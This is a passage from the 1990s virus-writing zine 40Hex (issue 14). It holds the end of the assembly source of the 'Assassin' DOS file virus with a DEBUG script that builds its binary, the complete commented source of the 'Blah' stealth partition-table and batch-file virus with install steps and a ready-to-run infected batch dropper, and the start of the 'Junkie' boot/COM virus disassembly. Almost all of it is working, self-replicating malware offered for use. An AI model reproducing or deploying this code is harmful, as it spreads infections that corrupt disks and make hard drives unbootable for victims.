ds:[si+1],ax add cx,5 inc bx jnz sm_1 pop ax ret set21 endp set21_restore23 endp i21_3e: call set2324_restore21 jc jc_exit push es pop ds cmp word ptr ds:[di],1 jne jne_exit les ax,dword ptr ds:[di+28h] mov dx,es cmp ax,'OC' jne exe mov al,'M' jmp short com exe: cmp ax,'XE' jne jne_exit com: cmp dl,al jne_exit: jne jne_exit_ les ax,dword ptr ds:[di+11h] cmp ax,vir_size jc_exit: jb jc_exit_ cmp ax,0ffffh-(vir_size+2) ja jne_exit_ mov dx,es or dx,dx jne_exit_: jnz i21_3e_exit mov ds:[di+15h],dx mov ds:[di+17h],dx les si,dword ptr ds:[di+7] les si,dword ptr es:[si+2] add ax,si dec ax div si mov cx,es inc cx div cl or ah,ah jz i21_3e_exit sub cl,ah cmp cl,vir_sector jc_exit_: jb i21_3e_exit les ax,ds:[di+4] push ax push es and ax,1000000000011100b jnz close_ mov byte ptr ds:[di+2],2 mov ds:[di+4],al call read_cmp jbe close mov si,cx cmp_device: dec si lodsw inc ax loopnz cmp_device jcxz not_device dec ax cmp ax,ds:[si] je close jmp short cmp_device not_device: mov ax,es:[di+11h] mov es:[di+15h],ax mov cx,vir_size+2 mov dx,offset id call write pop bx jc close sub es:[di+11h],ax dec cx dec cx cwd mov es:[di+15h],dx call write pop bx close: push es pop ds close_: pop ds:[di+6] pop ds:[di+4] mov bp,0dh*2 call i21_func pop bx i21_3e_exit: mov ax,1227h int 2fh jmp i21_3f_exit i21_3f: call set2324_restore21 les ax,dword ptr es:[di+15h] push ax push es call read pop bp pop si cmc jnc jnc_exit test word ptr es:[di+4],1000000000011000b jnz jnz_3f_exit or bp,bp jnz_3f_exit: jnz i21_3f_exit sub si,vir_size jnc_exit: jae i21_3f_exit xor cx,cx xchg cx,es:[di+15h] push cx xor cx,cx xchg cx,es:[di+17h] push cx push ax push si push dx push ds call read_cmp pop ds pop dx jc i21_3f_exit_1 jne i21_3f_exit_1 push dx push ds push es pop ds mov ax,ds:[di+11h] mov ds:[di+15h],ax add word ptr ds:[di+11h],vir_size+2 mov cl,2 mov dx,offset read_buffer push cs pop ds call read pop ds pop dx jc i21_3f_exit_2 cmp word ptr cs:read_buffer,'SD' je i21_3f_l0 mov ax,1218h int 2fh or byte ptr ds:[si+16h],1 jmp short i21_3f_exit_2 i21_3f_l0: pop si neg si mov ax,es:[di+11h] sub ax,si mov es:[di+15h],ax pop cx push cx push cx cmp cx,si jb i21_3f_l1 mov cx,si i21_3f_l1: call read i21_3f_exit_2: sub word ptr es:[di+11h],vir_size+2 i21_3f_exit_1: pop ax pop ax pop es:[di+17h] pop es:[di+15h] i21_3f_exit: call set21_restore23 push ax mov ax,1218h int 2fh mov ax,ds:[si+16h] shr ax,1 pop ax mov ds:[si],ax retf int23: call set21_restore23 jmp dword ptr cs:old23 int24: xor ax,ax iret int2a: pop cs:i21_table pop cs:i21_table[2] sub sp,4 jmp dword ptr cs:old2a msg db ' This is [Assassin] written by Dark Slayer ' db 'in Keelung. Taiwan ' constant: pcb dw 0,80h,?,5ch,?,6ch,? id db 'DS' vir_end: read_buffer db vir_size dup(?) old2a dw ?,? old23 dw ?,? old24 dw ?,? i21_3e_data db 3 dup(?) i21_3f_data db 3 dup(?) i21_table dw ?,? i21_far_jmp dw ? memory_end: end start ---------------------- N assassin.com E 0100 33 FF 8B 55 02 80 EE 05 B4 26 CD 21 8B 6D 2C B4 E 0110 4A BB 8A 00 CD 21 B4 52 CD 21 26 8B 5F FE 8C C8 E 0120 48 8C D9 8E DB 43 8B D3 03 5D 03 0B ED 75 24 3B E 0130 C3 75 05 81 45 03 8B 00 3B C1 75 17 89 55 01 BF E 0140 08 00 1E 07 8B F7 8E D8 8B CF F3 A4 52 05 11 00 E 0150 50 EB 24 80 3D 4D 74 C9 80 3D 5A 74 C4 BC 95 08 E 0160 83 EA 7B 8E C2 2B D1 4A 8E D9 89 55 03 BE 00 01 E 0170 B9 BF 03 F3 2E A4 06 B8 2A 35 CD 21 1F 1E BF 8F E 0180 07 89 5D EE 8C 45 F0 B4 25 BA 57 03 CD 21 8B D3 E 0190 06 1F CD 21 07 26 C5 35 AD 4E 3D 2E 8B 75 F9 AD E 01A0 80 FC 9F 75 F4 A5 AF 8D 84 20 FE AB 96 C7 04 CB E 01B0 EA C7 44 02 EA 01 8C 44 04 C6 44 06 EA C7 44 07 E 01C0 A2 02 8C 44 09 E8 F6 00 8B CD E3 29 8E DD 33 F6 E 01D0 AD 4E 0B C0 75 FA 8D 54 03 BF B3 04 0E 07 8C C8 E 01E0 AB AF AB AF AB B8 00 4B BB AF 04 CD 21 B4 4D CD E 01F0 21 B4 4C CD 21 5A B4 26 CD 21 B3 03 88 5E 1D B8 E 0200 16 12 CD 2F 45 26 89 2D 8E D2 8E DA B8 00 42 B3 E 0210 05 99 CD 21 B4 3F 49 FE C6 CD 21 B4 3E CD 21 1E E 0220 07 1E 52 CB B9 BF 03 8B D1 0E 1F E8 11 00 72 0E E 0230 51 33 F6 B1 AF AC 3A 84 BE 03 E1 F9 F8 59 C3 53 E 0240 52 1E B8 29 12 CD 2F 1F 5A 5B C3 BD 80 00 58 53 E 0250 0E 50 0E 1F FF 36 93 07 C4 3E 8F 07 06 26 FF 33 E 0260 CB 1E BE 8C 00 33 C0 8E D8 BF 81 07 0E 07 B8 4C E 0270 03 BD 02 00 A5 89 44 FE A5 8C 4C FE B0 54 4D 75 E 0280 F3 8B F7 0E 1F BD FC FF 45 45 C4 3E 8F 07 26 8B E 0290 7B 7E A4 A5 75 F2 1F 5D 58 06 50 53 B8 20 12 CD E 02A0 2F 26 8A 1D B8 16 12 CD 2F 5B FF E5 BE 81 07 0E E 02B0 1F BF 8C 00 33 C9 8E C1 B1 04 F3 A5 0E 07 50 BB E 02C0 FC FF BF 89 07 26 8B 4D 0A 41 43 26 C5 36 8F 07 E 02D0 8B 40 7F 8B F0 A4 A5 96 2B C1 F7 D8 C6 04 E9 89 E 02E0 44 01 83 C1 05 43 75 E2 58 C3 E8 74 FF 72 24 06 E 02F0 1F 83 3D 01 75 15 C4 45 28 8C C2 3D 43 4F 75 04 E 0300 B0 4D EB 05 3D 45 58 75 02 3A D0 75 11 C4 45 11 E 0310 3D BF 03 72 2B 3D 3E FC 77 04 8C C2 0B D2 75 7A E 0320 89 55 15 89 55 17 C4 75 07 26 C4 74 02 03 C6 48 E 0330 F7 F6 8C C1 41 F6 F1 0A E4 74 5F 2A CC 80 F9 02 E 0340 72 58 C4 45 04 50 06 25 1C 80 75 41 C6 45 02 02 E 0350 88 45 04 E8 CE FE 76 33 8B F1 4E AD 40 E0 FB E3 E 0360 07 48 3B 04 74 25 EB F2 26 8B 45 11 26 89 45 15 E 0370 B9 C1 03 BA BD 03 E8 D2 FE 5B 72 0F 26 29 45 11 E 0380 49 49 99 26 89 55 15 E8 C1 FE 5B 06 1F 8F 45 06 E 0390 8F 45 04 BD 1A 00 E8 B5 FE 5B B8 27 12 CD 2F E9 E 03A0 98 00 E8 BC FE 26 C4 45 15 50 06 E8 91 FE 5D 5E E 03B0 F5 73 10 26 F7 45 04 18 80 75 02 0B ED 75 7B 81 E 03C0 EE BF 03 73 75 33 C9 26 87 4D 15 51 33 C9 26 87 E 03D0 4D 17 51 50 56 52 1E E8 4A FE 1F 5A 72 52 75 50 E 03E0 52 1E 06 1F 8B 45 11 89 45 15 81 45 11 C1 03 B1 E 03F0 02 BA BF 03 0E 1F E8 46 FE 1F 5A 72 2D 2E 81 3E E 0400 BF 03 44 53 74 0B B8 18 12 CD 2F 80 4C 16 01 EB E 0410 19 5E F7 DE 26 8B 45 11 2B C6 26 89 45 15 59 51 E 0420 51 3B CE 72 02 8B CE E8 15 FE 26 81 6D 11 C1 03 E 0430 58 58 26 8F 45 17 26 8F 45 15 E8 6F FE 50 B8 18 E 0440 12 CD 2F 8B 44 16 D1 E8 58 89 04 CB E8 5D FE 2E E 0450 FF 2E 81 07 33 C0 CF 2E 8F 06 8F 07 2E 8F 06 91 E 0460 07 83 EC 04 2E FF 2E 7D 07 20 54 68 69 73 20 69 E 0470 73 20 5B 41 73 73 61 73 73 69 6E 5D 20 77 72 69 E 0480 74 74 65 6E 20 62 79 20 44 61 72 6B 20 53 6C 61 E 0490 79 65 72 20 69 6E 20 4B 65 65 6C 75 6E 67 2E 20 E 04A0 54 61 69 77 61 6E 20 3C 52 2E 4F 2E 43 3E 20 00 E 04B0 00 80 00 00 00 5C 00 00 00 6C 00 00 00 44 53 R CX 03BF W Q ---------------------- 40Hex Number 14 Volume 5 Issue 1 File 005 The Blah virus is a memory-resident, stealth, multipartite partition table/ batch file virus. What follows is the raw source file. After the source file is a batch file infected with Blah which demonstrates the workings of the virus. To install the virus, simply run this batch file. Or you can assemble the source, run the output file, and then execute a batch file. Be cautious when running this virus, however, since it immediately infects the partition table and your hard drive will become unavailable should you boot from diskette. You have been warned! comment ~ The Blah virus The world's only stealth, multipartite PT/BAT infector Written by Dark Angel at the end of 1994 This virus is "mostly stealth" and "mostly harmless". It infects the partition table on hd0 as well as batch files. To install the virus, simply assemble this source to a COM file and run the output. The virus will then reside on the partition table of the first hard drive of the computer. The partition table portion of the virus loads itself into the slack space between the partition table and the first disk partition. The virus assumes the first disk partition is the one closest to the partition table, which is reasonable. It only infects the partition table on the first physical hard drive, since that will always be loaded anyway. The original partition table is stored following the virus code in the aforementioned slack space. Since the partition table infector does not copy the partition table itself into its code, several effects result. First, the system will not recognise the hard drive if it is booted from a floppy. This can be considered a useful side-effect, since it prevents disinfection via a clean boot. Additionally, when modifying the virus, one must take care to keep the word 0AA55 at offset 01FE in the file, or else the BIOS will not recognise the partition table as a valid one. If you edit a batch file while the virus is in memory, the batch file will become infected by the virus, but will load into memory as if it were uninfected. When you save the file, it will remain uninfected. However, once you run the batch file, it will again become infected. This virus adds 3004 bytes to batch files. However, this file will assemble to 1148 bytes, since an encoded form of this file is written to batch files. The virus prepends its own code to the batch files that it infects. This code consists of lines which 1. create an executable file 2. run this executable file 3. delete the executable file and 4. reruns the batch file. The code which creates the executable file is simply a bunch of ECHO statements which are redirected into a file. These characters, when run, will run the code you see below. The bytes following the ECHO consist of code which reassembles and runs the code below and the data of the virus, which is encoded in a special printable text-only format. The virus removes this file after it has executed it in order to cover its traces. Finally, the virus runs the batch file again. This is to allow the stealth to work properly. The stealth works by bumping up all read requests on infected files by an amount equal to the size of the virus prepended text. The stealth is designed to not take effect until after the third file open it sees. Since DOS opens batch files each time it needs to execute the next command, this is the equivalent of waiting until after two statements have executed. This leaves enough time to remove the temporary file and reexecute the batch file. Now the stealth kicks in and DOS doesn't even see the virus code in the batch file. The virus hides the filelength increase on directory searches (in .BAT files only, of course). It also hides itself from reads (with handle calls only). It infects when a .BAT file is opened. It stamps files with a 62 second mark, but that is for the findfirst/findnext routine only. The checks for previous infection do not make any assumptions based on the file creation time. The virus also prevents overwriting of itself in the partition table. It also redirects attempts to view absolute sector 0. However, it does not try to stop reads to other parts of the disk that are infected, i.e. the sectors immediately following the first. The source code to the decoder (the raw text is included in the virus) can be found at the end. Anyway, this virus was written mostly because I felt like doing something lame. I think I succeeded, with only a modest effort. Dark Angel, Phalcon/Skism, 31 December 1994 Happy New Year's! ~ .model tiny .code .radix 16 org 0 our_buffer label byte org 80 line label byte org 100 viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f resK = (end_all - our_buffer + 3ff) / 400 resP = resK * 40 sector_length = (heap - blah + 1ff) / 200 blah: xor bp,bp xor si,si cmp [si],20CDh ; check if there is a PSP jz in_com ; to see if we are in COM or ; boot (don't just check SP ; since COM might not load in ; a full segment if memory is ; sparse) inc bp ; hey! we're in the boot sector or the partition table ; assume in partition table for the time being push si cli pop ss mov sp,-2 ; doesn't really matter sti mov ax,200 + sector_length mov es,si mov bx,7c00 + 200 mov cx,2 mov dx,80 int 13 mov dx,0f800 db 0ea dw offset install, 7b0 in_com: mov dx,0f904 mov ah,62 ; get the PSP int 21 ; also tells existing copies ; to disable themselves ; (for NetWare compatability) dec bx ; go to MCB so we can mov ds,bx ; twiddle with it sub word ptr [si+3],resP ; reserve two K of memory sub word ptr [si+12],resP ; in DOS for the virus install: mov cs:init_flag,dl mov byte ptr cs:i13_patch,dh mov ds,si ; reserve two K of memory mov dx,word ptr ds:413 sub dx,resK mov word ptr ds:413,dx ; from the BIOS count mov cl,6 shl dx,cl ; K -> paragraph les ax,ds:84 mov cs:old_i21,ax mov cs:old_i21+2,es les ax,ds:4c mov cs:old_i13,ax mov cs:old_i13+2,es mov es,dx push cs pop ds mov si,offset blah mov di,si mov cx,(offset end_zopy - blah + 1) / 2 rep movsw mov es,cx mov es:4c,offset i13 mov es:4e,dx or bp,bp jz exit_com exit_boot: mov ax,201 ; read the original partition xor cx,cx ; table to 0:7C00 mov dx,80 ; since the i13 handler is in mov es,cx ; place, we can load from where inc cx ; the partition table should mov bx,7c00 ; be, instead of where it pushf push es bx ; actually is jmp dword ptr [bp+4bh] ; int 13 / iret exit_com: mov es:84,offset i21 mov es:86,dx infect_hd: push ax cx dx bx ds es push cs cs pop es ds mov ax,201 mov bx,100 + (sector_length*200) mov cx,1 mov dx,80 call call_i13 ; get original partition table adj_ofs = (100 + (sector_length*200)) cmp word ptr cs:[adj_ofs+decoder-blah],'e@' jz already_infected mov al,ds:[adj_ofs+1C0] cbw or ax,ds:[adj_ofs+1C2] jnz enough_room cmp byte ptr ds:[adj_ofs+1C1],sector_length+1 jbe already_infected ; not enough room for virus enough_room: mov ax,301 + sector_length ; write to disk mov bx,100 ; cx = 1, dx = 80 already call call_i13 already_infected: pop es ds bx dx cx ax ret db 'Blah virus',0 db '(DA/PS)',0 ; I indulged myself in writing the decoder; it's rather much larger than it ; needs to be. This was so I could insert random text strings into the code. ; The decoder creates a file which, when run, will execute the encoded file. ; In this case, we are encoding the virus. See the beginning for a complete ; explanation of how the virus works. decoder db '@echo øPSBAT!ø¿PS½' fsize dw -1 * (heap - blah) db 'XYZ÷ÝU¾S¹ 2é¬H‹Ø¬,AêMtâñ ít­ëå>',0ba,'.com',0Dh,0A db '@echo ¸üü2àYP—¸ó¤«¸ëë2૾PS¿DBïDAÃ' endline: db '>>',0ba,'.com',0Dh,0A ; The next line is to ease the coding. This way, the same number of statements ; pass between the running of the temporary program and the reloading of the ; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running ; the temporary file installs the virus into memory. Note the following lines ; are never seen by the command interpreter if the virus is already resident. enddecoder: db '@if %0. == . ',0ba,0Dh,0A db '@',0ba,0Dh,0A db '@del ',0ba,'.com',0Dh,0A ; The next line is necessary because autoexec.bat is loaded with %0 == NULL ; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT, ; which would be a shame. db '@if %0. == . autoexec',0Dh,0A db '@%0',0Dh,0A endcleanup: chain_i13: push [bp+6] call dword ptr cs:old_i13 pushf pop [bp+6] ret call_i13: pushf call dword ptr cs:old_i13 ret write: mov ah,40 calli21: pushf call dword ptr cs:old_i21 ret check_signature:and word ptr es:[di+15],0 push es di cs cs pop ds es mov ah,3f cwd ; mov dx,offset our_buffer mov cx,enddecoder - decoder call calli21 cld mov si,offset decoder mov di,dx mov cx,enddecoder - decoder rep cmpsb pop di es ret i13: clc ; this is patched to jnc i13_patch ; disable the i13 handler jmp disabled_i13 ; this is a stupid hiccup i13_patch: clc ; this is patched to once jc multipartite_installed ; i21 is installed push ax bx ds es mov ax,0AA55 ; offset 02FE of the virus ; this is the PT signature xor ax,ax mov es,ax lds bx,es:84 mov ax,ds cmp ax,cs:old_i21+2 jz not_DOS_yet or ax,ax ; Gets set to address in zero jz not_DOS_yet ; segment temporarily. ignore. cmp ax,800 ja not_DOS_yet cmp ax,es:28*4+2 ; make sure int 28 handler jnz not_DOS_yet ; the same (OS == DOS?) cmp bx,cs:old_i21 jz not_DOS_yet install_i21: push cs pop ds mov ds:old_i21,bx mov ds:old_i21+2,ax mov es:84,offset i21 mov es:86,cs inc byte ptr ds:i13_patch not_DOS_yet: pop es ds bx ax multipartite_installed: push bp mov bp,sp cmp cx,sector_length + 1 ; working on virus area? ja jmp_i13 cmp dx,80 jnz jmp_i13 cmp ah,2 ; reading partition table? jz stealth_i13 not_read: cmp ah,3 ; write over partition table? jnz jmp_i13 call infect_hd push si cx bx ax mov al,1 cmp cl,al ; are we working on partition jnz not_write_pt ; table at all? mov cx,sector_length + 1 call chain_i13 jc alt_exit_i13 not_write_pt: pop ax push ax cbw sub al,sector_length + 2 ; calculate number of remaining add al,cl ; sectors to write js alt_exit_i13 jz alt_exit_i13 push cx sub cx,sector_length + 2 ; calculate number of sectors neg cx ; skipped addd: add bh,2 ; and adjust buffer pointer loop addd ; accordingly pop cx or ah,1 ; ah = 1 so rest_stealth makes jmp short rest_stealth ; it a write jmp_i13: pop bp disabled_i13: jmp dword ptr cs:old_i13 stealth_i13: push si cx bx ax call infect_hd mov si,bx mov al,1 cmp cl,al jnz not_read_pt mov cx,sector_length + 1 call chain_i13 jc alt_exit_i13 add bh,2 ; adjust buffer ptr not_read_pt: pop ax push ax push di ax mov di,bx mov ah,0 add al,cl cmp al,sector_length + 2 jb not_reading_more mov al,sector_length + 2 not_reading_more:cmp cl,1 jnz not_pt dec ax not_pt: sub al,cl jz dont_do_it ; resist temptation! mov cl,8 shl ax,cl ; zero out sectors mov cx,ax cbw ; clear ax rep stosw mov bx,di ; adjust buffer dont_do_it: pop ax di mov ah,0 mov cl,9 sub si,bx neg si shr si,cl sub ax,si jz alt_exit_i13 rest_stealth: sub ax,-200 mov cx,sector_length + 2 call chain_i13 alt_exit_i13: pop bx mov al,bl pop bx cx si bp iret i24: mov al,3 iret chain_i21: push [bp+6] ; push flags on stack again call dword ptr cs:old_i21 pushf ; put flags back onto caller's pop [bp+6] ; interrupt stack area ret infect_bat: mov cx,200 ; conquer the holy batch file! move_up: sub bp,cx jns $+6 add cx,bp xor bp,bp mov es:[di+15],bp ; move file pointer mov ah,3f ; read in portion of the file mov dx,offset big_buffer call calli21 add word ptr es:[di+15],viruslength sub word ptr es:[di+15],ax call write ; move the data up or bp,bp jnz move_up move_up_done: mov word ptr es:[di+15],bp ; go to start of file mov cx,enddecoder - decoder mov dx,offset decoder call write push es di cs pop es mov bp,heap - blah mov si,offset blah encode_lines: mov di,offset line mov cx,20 encode_line: lodsb push ax and ax,0F0 inc ax stosb pop ax and ax,0F add al,'A' stosb dec bp jz finished_line loop encode_line finished_line: mov cx,6 mov dx,offset decoder call write mov cx,di mov dx,offset line sub cx,dx call write mov cx,enddecoder-endline mov dx,offset endline call write or bp,bp jnz encode_lines pop di es mov cx,endcleanup - enddecoder mov dx,offset enddecoder call write ret ; check neither extension nor timestamp in case file was renamed or ; something like that ; will hang without this stealth because of the line ; @%0 that it adds to batch files handle_read: push es di si ax cx dx ds bx xor si,si cmp cs:init_flag,0 jnz dont_alter_read mov ax,1220 int 2f jc dont_alter_read xor bx,bx mov bl,es:di mov ax,1216 int 2f ; es:di now -> sft jc dont_alter_read pop bx ; restore the file handle push bx push es:[di+15] ; save current offset call check_signature mov si,viruslength pop bx jz hide_read xor si,si hide_read: add bx,si mov es:[di+15],bx dont_alter_read:pop bx ds dx cx ax call chain_i21 sub es:[di+15],si pop si di es _iret: pop bp iret handle_open: cmp cs:init_flag,0 jz keep_going dec cs:init_flag keep_going: call chain_i21 jc _iret push ax cx dx bp si di ds es xchg si,ax ; filehandle to si mov ax,3524 int 21 push es bx ; save old int 24 handler xchg bx,si ; filehandle back to bx push bx mov si,dx ; ds:si->filename push ds mov ax,2524 ; set new int 24 handler push cs pop ds mov dx,offset i24 call calli21 pop ds cld find_extension: lodsb ; scan filename for extension or al,al ; no extension? jz dont_alter_open cmp al,'.' ; extension? jnz find_extension lodsw ; check if it's .bat or ax,2020 cmp ax,'ab' jnz dont_alter_open lodsb or al,20 cmp al,'t' jnz dont_alter_open mov ax,1220 ; if so, get jft entry int 2f jc dont_alter_open xor bx,bx mov bl,es:di mov ax,1216 ; now get SFT int 2f jc dont_alter_open pop bx ; recover file handle push bx mov bp,word ptr es:[di+11] ; save file size or bp,bp jz dont_alter_open mov byte ptr es:[di+2],2 ; change open mode to r/w mov ax,word ptr es:[di+0dh] ; get file time and ax,not 1f ; set the seconds field or ax,1f mov word ptr es:[di+0dh],ax call check_signature jz dont_alter1open ; infected already! call infect_bat dont_alter1open:or byte ptr es:[di+6],40 ; set flag to set the time and word ptr es:[di+15],0 mov byte ptr es:[di+2],0 ; restore file open mode dont_alter_open:pop bx dx ds mov ax,2524 call calli21 pop es ds di si bp dx cx ax bp iret findfirstnext: call chain_i21 ; standard file length push ax bx si ds es ; hiding cmp al,-1 jz dont_alter_fffn mov ah,2f ; get the DTA to es:bx int 21 push es pop ds cmp byte ptr [bx],-1 jnz not_extended add bx,7 ; won't hide if extension is changed, but otherwise gives it away by disk ; accesses not_extended: cmp word ptr [bx+9],'AB' jnz dont_alter_fffn cmp byte ptr [bx+0bh],'T' jnz dont_alter_fffn cmp word ptr [bx+1dh],viruslength jb dont_alter_fffn mov al,[bx+17] and al,1f cmp al,1f jnz dont_alter_fffn and byte ptr [bx+17],not 1f sub word ptr [bx+1dh],viruslength dont_alter_fffn:pop es ds si bx ax bp iret inst_check: cmp bx,0f904 jnz jmp_i21 push si di cx mov si,offset blah mov di,100 mov cx,offset i13 - offset blah db 2e rep cmpsb jnz not_inst inc byte ptr cs:i13 ; disable existing copy of inc byte ptr cs:i21 ; the virus not_inst: pop si di cx jmp short jmp_i21 i21: clc jc disabled_i21 push bp mov bp,sp cmp ah,11 jz findfirstnext cmp ah,12 jz findfirstnext cmp ah,62 jz inst_check cmp ax,3d00 jnz not_open jmp handle_open not_open: cmp ah,3f jnz jmp_i21 jmp handle_read jmp_i21: pop bp disabled_i21: db 0ea ; call original int 21 heap: ; g old_i21 dw ?, ? ; handler old_i13 dw ?, ? init_flag db ? end_zopy: org 100 + ((end_zopy - blah + 1ff) / 200) * 200 orig_PT db 200 dup (?) big_buffer db 200 dup (?) end_all: end blah ; The complimentary decoder included with every copy of blah .model tiny .code .radix 16 org 100 decode: db 'øPSBAT!ø' ; translates to some random code mov di,offset buffer db 0bdh ; mov bp, datasize datasize dw 'Y0' db 'XYZ' ; more text that is also code neg bp push bp mov si,offset databytes keep_going: mov cx,2020 xor ch,cl decode_line: lodsb dec ax ; tens digit mov bx,ax lodsb sub al,'A' add ax,bx stosb dec bp jz all_done loop decode_line all_done: or bp,bp jz no_more lodsw ; skip CRLF jmp keep_going db 0Dh,0A ; split file into two lines no_more: mov ax,0fcfc xor ah,al pop cx ; how many bytes to move push ax xchg ax,di mov ax,0a4f3 stosw mov ax,0ebebh ; flush prefetch queue xor ah,al stosw mov si,offset buffer mov di,100 + 4144 sub di,'AD' retn db 0Dh,0Ah ; split the file s'more databytes: org 5350 ; 50/53 == P/S buffer: end decode ------ @echo øPSBAT!ø¿PS½îúXYZ÷ÝU¾S¹ 2é¬H‹Ø¬,AêMtâñ ít­ëå>º.com @echo ¸üü2àYP—¸ó¤«¸ëë2૾PS¿DBïDAÃ>>º.com @echo 1DáN1DñGB1MÁN!AqE!AAFQGñKH±MñOñPñL±IDCOÁG±LAqO±JCA±KAA>>º.com @echo ÁND±KAñIáK1OB±AH±KEñJ±EaCÁN!BALOÑLBaMDÁAABaMCÁAA!OI>>º.com @echo GKG!OI1GñGCOÑOLGDEDáKDJGDE±BGÑDáCÁEGEA!O¡DC>>º.com @echo G!OMGEGÁEGAMA!O¡DGG!OMGIGOÁCOP±OABLñO±JOCñD>>º.com @echo ¡FOÁB!GÁHGAMAñAC!GJGAOALáNqEE±IBC1DÁJ±KAAOÁBAB±LA>>º.com @echo qM‘MGQDñPaOAL!GÁHGEAáLF!GJGGAQAQBQCQDOGOOHP±IBC>>º.com @echo ±LAH±JBA±KAAáIñCA!OB1OJIAAaFqEK¡AÁAI‘ILGÁCIqFHA>>º.com @echo 1OÁBIEqGJ±IED±LABáIÁPAHPQLQKQJQIÁDACaMaBaI!AqGaJqCqFqD>>º.com @echo A!IAEAB!PQAQD!JAAAaFaDaIaP!AñIQAQDACABQE!BñI±PQAQD±NáOñKQIQJQK>>º.com @echo ñHÑNQF±OQDB±J!A!A1CáJ¡MAILÑI¡M!MABDÁD¡KANqECáCñBLáNqEF¡NáL>>º.com @echo áF1O±K!OaDaPaNNKAAaFaDaIaP!A±IñMñM1CáAQJQA‘H±IñD¡E¡L±IáLáL1CáA>>º.com @echo ¡L±OQAQD±PAEACBáPAEABÁD1O1O±K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>>º.com @echo !O!A±KNKAA±KNKAAaEaFaM!A±K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>>º.com @echo !O!AaBqFqEaPaFqIaFaDNKAA!F1ANKñPqGG!OñPOGG‘MPAGGÁD‘M!O>>º.com @echo ñPOGGÁD±EAA‘M!OñPOCGÁD!GDaFFAGQHOOPH±E1P‘J±JaMAáI>>º.com @echo áFñPñM±OJCLñK±JaMAñD¡GQPHÁDñIqDDáJ‘KAñJqCANQAQDOG±IQF¡K>>º.com @echo 1DÁAOÁA!GÁFOEAMÑI!O1LGEGqE1ALÁAqE!M1NAIqH!H!G1LG¡CA>>º.com @echo qF!A!O1LOCGqEJOPJOCG¡DEG!GÁHGEAáLF!GMOGAñOG>>º.com @echo ñGCHPQLQIQFLáMDñJEqHABBñKAAqF1LAñMCqE1MAñMDqF1BáIQC>>º.com @echo ñOQGQBQDQA±AB1KÁIqFI±JEAáIAAñPqCqKQIQA‘I!MFCÁBqIqBqEaPQBD>>º.com @echo áJFñHÑJAÁHCáCñLQJAÁMBáLQFQN!OñP!OGGQGQBQDQAáIHñOLñD±AB>>º.com @echo 1KÁIqFL±JEAáIHñPqCABAÁHCQIQAQHQALñL±EACÁB1MFqCC±AFA>>º.com @echo ñJBqFBAI!KÁBqEL±BIÑDáALÁI‘IñD¡LLÑPQIQP±EA±BJ!LñDñHÑOÑDáO>>º.com @echo !LÁGqEJ!NAñO±JFAáIÁEñOQLKÁDQLQJQOQNÁP±ADÁPñPqGG!OñPOCG>>º.com @echo ‘MPAGGÁD±JAC!LáJqJEDÁN1DáN!GJaNF±E1P±KAJáI¡LñO!GBAFF>>º.com @echo 1DN!G!JAFFáI‘MñOLáNqFÑL!GJaNF±JaMA±KJCáILñOGQHOH±NC>>º.com @echo F±OAB±PAA±J!AA¡MQA!FñAAAA¡KQI!FPAEAB¡KANqECáCáN±JGA>>º.com @echo ±KJCáIQPñOLÁP±KAA!LÁKáIQFñO±JJA±KaMCáIAMñOLáNqFÁHQPH±J>>º.com @echo 1MA±KqFCáI1NñOÁDGQHQGQAQBQCOQD1DñG!OA1OKGAqF!K±I!ACÁN!P>>º.com @echo qC!D1DÑL!GKN±IGCÁN!PqCHQLQD!GñPqFFáIHñO±O1DNQLqEC1DñGD>>º.com @echo ÑO!GJQNFQLPQKQJQIáI!LñP!G!JqFFQOQPHQNÁP!OA1OKGAqEF!OñO>>º.com @echo OKGáICñPqCáMQAQBQCQFQGQHOG‘G±I!E1FÁN!BGQDHÑOQDLñCO±I!E>>º.com @echo !FOP±KñFDáI±OñNPñM¡MKÁAqEQL1M!OqFñH¡NN!A!A1NaCaBqFAO¡MM!A>>º.com @echo 1MqEqFAH±I!ACÁN!PqCAA1DÑL!GKN±IGCÁN!PqC1EQLQD!GLaNBLáNqE>>º.com @echo !K!GÁGAFCC!GLAFN!FáAñPNPA!GJAFNáIqHñNqEDáI¡JñO!GAANG>>º.com @echo AA!GDaFFA!GÁGAFCAQLQKP±I!E!FáIQDñNHPQPQOQNQKQJQIQNÁPáIqH>>º.com @echo ñOQAQDQGOG1MñPqE1E±E!PÁN!BGPA1PñPqFDDÁDHBqPJACABqFPA>>º.com @echo qPLQEqFJBqPN1DNqCCKAHH!EP1MPqFJAaHHáABaPN1DNHP>>º.com @echo QOQLQIQNÁPBñLEñJqFAFQGQHQB±OAB±PAB±JñAB!OñD¡GqFK!OñOGñA>>º.com @echo C!OñOGáLFQOQPQJáL!FñIqC!DQFLáMAñMBqEIAñMCqEDAñMaCqEÁF>>º.com @echo 1NA1NqFDáJÁOñOAñM1PqFDáJqJñOQNáK>>º.com @if %0. == . º @º @del º.com @if %0. == . autoexec @%0 @echo Beware.....PLURG! ------ 40Hex Number 14 Volume 5 Issue 1 File 006 Junkie virus The Junkie virus is an unremarkable boot sector/COM infector that has been making the rounds recently. There isn't really that much to say about it, except that it sports a lot of poor coding that manages to somehow work despite its shortcomings. Dark Angel Phalcon/Skism --------------------------- .model tiny .code .radix 16 org 0 ; Junkie virus ; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1 ; Byte for byte match when assembled with TASM 2.5 ; To assemble, do the following: ; tasm /m junkie.asm ; tlink junkie.obj ; exe2bin junkie.exe junkie.com junkie: mov si,1234 ; if loading from the boot org $ - 2 ; sector, loaded at 0:7E00 decrypt_start dw offset begin_crypt + 100 mov cx,1F4 decrypt_loop: xor word ptr es:[si],1234 org $-2 cryptval dw 0 inc si inc si loop decrypt_loop begin_crypt: mov ax,cs cmp ax,0 je in_boot mov di,100 mov word ptr [di],1234 ; restore original first 4 org $ - 2 ; bytes to the COM file orig4_1 dw 20CDh mov word ptr [di+2],1234 org $ - 2 orig4_2 dw 0 push cs di ; push cs:100 call delta delta: pop bx sub bx,delta - junkie ; sub bx,27 mov cl,4 shr bx,cl add ax,bx push ax mov ax,offset highentry push ax retf in_boot: mov ds,di pop si sub word ptr ds:413,3 ; reserve 3K for virus mov ax,ds:413 mov bx,40 ; convert to K mul bx mov es,ax ; virus segment = es mov cx,200 ; move virus up cld rep movsw cli 